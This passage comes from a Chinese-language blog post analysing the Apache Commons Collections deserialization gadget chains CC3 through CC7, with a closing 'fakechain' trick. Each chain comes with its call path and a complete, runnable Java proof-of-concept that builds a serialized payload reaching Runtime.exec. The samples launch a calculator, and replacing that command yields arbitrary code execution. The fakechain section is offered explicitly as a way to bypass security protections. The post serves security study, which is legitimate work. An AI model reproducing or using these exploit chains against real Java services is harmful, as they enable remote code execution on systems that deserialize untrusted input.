          new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
  });

我们可以发现是通过InstantiateTransformer 替代了InvokerTransformer,并且用到了TrAXFilter.class 这个类。

我们来分析一下这两个贵物。

TrAXFilter.class

十分明显,TrAXFilter的构造方法对传入的Templates对象进行了实例化处理,而TemplatesImpl是Templates的子类,于是乎我们可以传入一个TemplatesImpl对象,使该对象的newTransformer方法被调用,以此促成TemplatesImpl对象中_bytecodes中的字节码被实例化成一个恶意对象,并调用这个恶意对象的构造方法。

InstantiateTransformer

可以发现transformer方法中会获取传入对象的构造方法,并传入参数调用其构造方法。 我们这个地方传入TrAXFilter对象,并传入恶意的TemplatesImpl对象便可以在TrAXFilter调用构造方法时调用TemplatesImpl.newInstance 把恶意对象从字节码生成出来并调用恶意对象的构造方法。

Apache-Commons-Collections 4

CC2,3的缝合,细节上有些许差别.

PriorityQueue+TrAXFilter+InstantiateTransformer+TemplatesImpl

版本

CommonsCollections 4.0,JDK暂无限制,需javassist依赖

利用链

代码语言:javascript
复制
ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                            newInstance()
                                TrAXFilter#TrAXFilter()
                                TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses
                                         newInstance()
                                            Runtime.exec()

POC

代码语言:javascript
复制
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        // 创建 static 代码块,并插入代码
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
        // 写入.class 文件
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        /**
         * TrAXFilter 构造函数能直接触发 所以不用利用 invoke 那个
         */
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });

        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

并没有什么新东西,具体逻辑便是通过设置PriorityQueue 的comparator属性为我们定义好的ChainedTransformer ,使ChainedTransformer 的transformer方法执行,结合TrAXFilter与InstantiateTransformer触发TemplatesImpl 恶意字节码的类生成并触发其构造方法达到命令执行的目的。

Apache-Commons-Collections 5

LazyMap+TideMap+BadAttributeValueExpException

版本

CommonsCollections 3.1 - 3.2.1,JDK 7u80 以上(低于7u80的BadAttributeValueExpException 无readObject方法)

利用链

调试该链时,因为涉及toString函数调用,所以idea调试请关闭此俩选项

代码语言:javascript
复制
ObjectInputStream.readObject()
    BadAttributeValueExpException.readObject()
        TiedMapEntry.toString()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

POC

代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

前半部分和CC1一样,后半部分引入了TiedMapEntry 和BadAttributeValueExpException ,我们来分析一下这俩东西。

TiedMapEntry

首先我们在CC1中已经知道了LazyMap的get方法会触发其在decorate中传入的Transfromer类的transform方法。

在TiedMapEntry类中存在方法getValue,会调用在构造函数中传入的map的get方法

而且在TiedMapEntry类中同时也存在方法toString会调用getValue方法

BadAttributeValueExpException

该类的readObject方法如下

这里会调用toString方法,然后进入TideMapEntry开始链的执行。 这里valObj就是val变量的值。

代码语言:javascript
复制
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
 val.setAccessible(true);
 val.set(poc,tiedmap);

所以我们在POC中用反射将val变量进行了赋值,赋的值是恶意TiedMapEntry 对象。

这里有一个细节就是,val变量是可以通过构造函数赋值的。

但是如果用构造函数直接给val赋值的话,会导致val在赋值的时候便触发toString,导致在反序列化时,valObject的值改变,导致原本预期的逻辑改变,无法进入预想的分支。

这是预期的情况(通过后期反射赋值val)

这是非预期情况(通过构造函数直接给val赋值,这里的val值直接变成了一个字符串,不要以为是ProcessImpl对象!注意引号!)

Apache-Commons-Collections 6

TideMap.hashcode+Lazymap

版本

CommonsCollections 3.1 - 3.2.1

HashSet利用链

代码语言:javascript
复制
java.io.ObjectInputStream.readObject()
    java.util.HashSet.readObject()
        java.util.HashMap.put()
        java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get()
                    org.apache.commons.collections.functors.ChainedTransformer.transform()
                    ...
                    org.apache.commons.collections.functors.InvokerTransformer.transform()
                    java.lang.reflect.Method.invoke()
                        java.lang.Runtime.exec()

POC

代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

public class Main {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

        TiedMapEntry tiedmap = new TiedMapEntry(map,123);

        HashSet hashset = new HashSet(1);
        hashset.add("foo");

        Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
        field.setAccessible(true);
        HashMap hashset_map = (HashMap) field.get(hashset);

        Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
        table.setAccessible(true);
        Object[] array = (Object[])table.get(hashset_map);

        Object node = array[0];

        Field key = node.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(node,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

在TiedMapEntry 中,除了toString,还有hashCode方法可以调用getValue方法

那么这个hashCode方法哪里可以被调用呢?cc6中使用的是HashMap#hash

那么哪里调用了HashMap.hash且传入了可控参数?这里用到了HashMap#put:

那么哪里调用了HashMap.put 且传入了可控参数?这里用到了HashSet#readObject:

这里的e就是一个反序列化对象。那么由此观之,链完整了。这里的e值是HashMap里table中每一个Node的Key值,他这里循环读取table中的所有Node的Key值并处理。

POC分析

代码语言:javascript
复制
HashSet hashset = new HashSet(1);
hashset.add("foo");

Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);

Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashset_map);

Object node = array[0];

Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);

这里是用反射,去修改HashSet里的map属性中的table数组第一项的key值为恶意TiedMapEntry对象

这里涉及到HashMap的结构。

代码语言:javascript
复制
简而言之,HashMap底层是由一个叫table的长数组组成的,table中每一项都称为Node,每个Node存储的便是键值信息

HashMap利用链

利用链

代码语言:javascript
复制
ObjectInputStream.readObject()
    HashMap.readObject()
        HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
            TiedMapEntry.getValue()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

POC

代码语言:javascript
复制
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.*;

import java.io.*;
import java.util.*;

public class Main {
    public static void main(String[] args) throws Exception{
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});

        HashMap innerMap = new HashMap();

        Map lazyMap = LazyMap.decorate(innerMap,chain);
        TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);

        HashMap hashMap = new HashMap();
        hashMap.put(tmap, "test");
        lazyMap.clear();

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
            outputStream.writeObject(hashMap);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

在HashMap#readObject中存在这样的代码块

跟进putForCreate方法发现它可以调用hash方法

那么思路很明显了,我们可以通过HashMap的readObject方法去调用HashMap#putForCreate 进而调用HashMap#hash 从而实现这条链。

POC分析

代码语言:javascript
复制
HashMap hashMap = new HashMap();
hashMap.put(tmap, "test");
lazyMap.clear();

我们此处有个clear()操作

我们在序列化前对HashMap进行put操作时,会调用equals方法

一直跟下去会发现会触发lazymap的get方法,我们这里会发现调用了put方法向lazymap增加了键值对。

可以发现添加了一个ProcessImpl对象的value,这个对象没有实现序列化接口,不能被序列化,所以如果没有lazymap2.remove(“yy”),就会导致在序列化时出现错误。

所以通过lazymap2.remove(“yy”),可以帮助我们剔除在hashtable#put时添加进lazymap2中的不可序列化的对象,实现序列化。

Apache-Commons-Collections 7

版本

CommonsCollections 3.1 - 3.2.1

利用链

代码语言:javascript
复制
HashTable.readObject()
  HashTable.reconstitutionPut()
    AbstractMapDecorator.equals()
       AbstractMap.equals()
         LazyMap.get()
            ChainedTransformer.transform()
            ConstantTransformer.transform()
            InvokerTransformer.transform()
                Method.invoke()
                    Class.getMethod()
            InvokerTransformer.transform()
                Method.invoke()
                    Runtime.getRuntime()
            InvokerTransformer.transform()
                Method.invoke()
                    Runtime.exec()

POC

代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

public class Main {

    public static void main(String[] args) throws Exception {
        ChainedTransformer transformerChain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        lazyMap2.remove("yy");

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7"));
            outputStream.writeObject(hashtable);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

在Hashtable#readObject中存在如下代码块

存在方法reconstitutionPut,进行跟进

这里会将两个LazyMap用AbstractMapDecorator#equals 进行比较。这里的两个key值就分别代表着两个LazyMap。

跟进后发现又有一个equals方法,跟进来到AbstractMap#equals

发现会对传入的TiedMapEntry调用get方法

这样看,链就明了了。

POC分析1

代码语言:javascript
复制
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

我们发现此处put的值是yy和zZ,我们如果put其他值的话是不能完成这条链的。我们看这个地方。

hash方法在这里会获取key值(在这里就是LazyMap对象)的key值的hash。 所以这里会判断hashtable中的两个key值(也就是两个LazyMap对象)的key值hash是否相同,只有相同才能下一步。 而yy和zZ的hash值在java中是相同的

这个时候可能会有疑问,为什么LazyMap的key值不能设成一样的呢?因为设成一样的会造成如下问题

在readObject时会造成elements元素的值为1

elements值为1,则在此处只能进行一次循环,导致Hashtable#equals方法不能被执行(Hashtable#equals方法需要至少两个hashtable中的key值才能执行,具体逻辑见上文)。

POC分析2

代码语言:javascript
复制
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

lazyMap2.remove("yy");

我们在序列化前对hashtable进行第二次put操作时,也会调用equals方法

从而会触发lazymap2的get方法,我们这里会发现调用了put方法向lazymap2增加了键值对。

进而导致lazymap2的结构变成了这样

可以发现在value处存在一个ProcessImpl对象,这个对象没有实现序列化接口,不能被序列化,所以如果没有lazymap2.remove(“yy”),就会导致在序列化时出现错误。

所以通过lazymap2.remove(“yy”),可以帮助我们剔除在hashtable#put时添加进lazymap2中的不可序列化的对象,实现序列化。

一些trick

fakechain

fakechain是一种对安全防护Bypass的一种手段。

给Lazymap或者TransformerMap 设置ChainedTransformer 对象时,可以在其中先放置一个空的Transformer对象,在反序列化前最后一步再通过反射将ChainedTransformer 对象内部的itransformer属性改回到真正的chain。(itransformer 属性是ChainedTransformer 内部存储Transformer对象的数组)

以CC1为例。

代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Main {
    public static void main(String[] args) throws Exception {
    //定义两个chain
        Transformer[] chain= new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc.exe"})};

        Transformer[] fakechain = new Transformer[]{};

    //定义一个ChainedTransformer ,并传入fakechain
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakechain);

        Map innermap = new HashMap();
        Map outermap = LazyMap.decorate(innermap, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,outermap);
        Map Prox = (Map) Proxy.newProxyInstance(outermap.getClass().getClassLoader(), outermap.getClass().getInterfaces(),handler);
        InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class,Prox);  
        
        //通过反射修改chainedTransformer对象的itransformers
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, chain);

        ObjectOutputStream a = new ObjectOutputStream(new FileOutputStream("a.bin"));
        a.writeObject(handler1);
        ObjectInputStream b = new ObjectInputStream(new FileInputStream("a.bin"));
        b.readObject();
    }
}

另外可以通过这种方式防止在反序列化前调用ChainedTransformer内部的chain触发命令执行,在分析代码的时候能够起到一定的帮助(减少干扰)。

reference:https://clq0.top/commons_collections_analysis/

http://wjlshare.com/archives/1535

https://xz.aliyun.com/t/9409#toc-7

https://paper.seebug.org/1242/#commons-collections-7

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-11-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Apache-Commons-Collections 1
    • Transformer Map 链
      • RCE原理
      • 触发
      • 总结
    • LazyMap链
      • RCE原理
      • 触发
      • 总结
  • Apache-Commons-Collections 2
    • 版本
      • 环境
        • 利用链1
          • POC分析 1
          • POC分析 2
        • 利用链2
          • TemplatesImpl 类生成
          • POC分析
      • Apache-Commons-Collections 3
        • 版本
          • 利用链
            • TrAXFilter.class
            • InstantiateTransformer
        • Apache-Commons-Collections 4
          • 版本
            • 利用链
            • Apache-Commons-Collections 5
              • 版本
                • 利用链
                  • TiedMapEntry
                  • BadAttributeValueExpException
              • Apache-Commons-Collections 6
                • 版本
                  • HashSet利用链
                    • POC分析
                  • HashMap利用链
                    • POC分析
                • Apache-Commons-Collections 7
                  • 版本
                    • 利用链
                      • POC分析1
                      • POC分析2
                  • 一些trick
                    • fakechain
                    相关产品与服务
                    文件存储
                    文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档